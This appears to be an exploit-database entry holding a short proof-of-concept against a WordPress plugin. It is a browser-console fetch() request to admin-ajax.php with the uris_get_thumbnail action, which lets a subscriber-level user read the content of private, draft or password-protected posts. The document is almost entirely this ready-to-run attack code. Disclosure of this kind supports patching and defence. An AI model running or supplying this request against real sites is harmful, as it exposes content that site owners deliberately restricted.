## https://sploitus.com/exploit?id=WPEX-ID:1AFC0E4A-F712-47D4-BF29-7719CCBBBB1B
Run the below command in the developer console of the web browser while being on the blog as subscriber user (4 being the ID of a private/draft/password protected post)
fetch("/wp-admin/admin-ajax.php?action=uris_get_thumbnail", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "imageid=4",
"method": "POST",
}).then((response) => {return response.text(); })
.then((data) => {
console.log(data);
})
The content of the post will be displayed in the rpgp_image_desc textarea.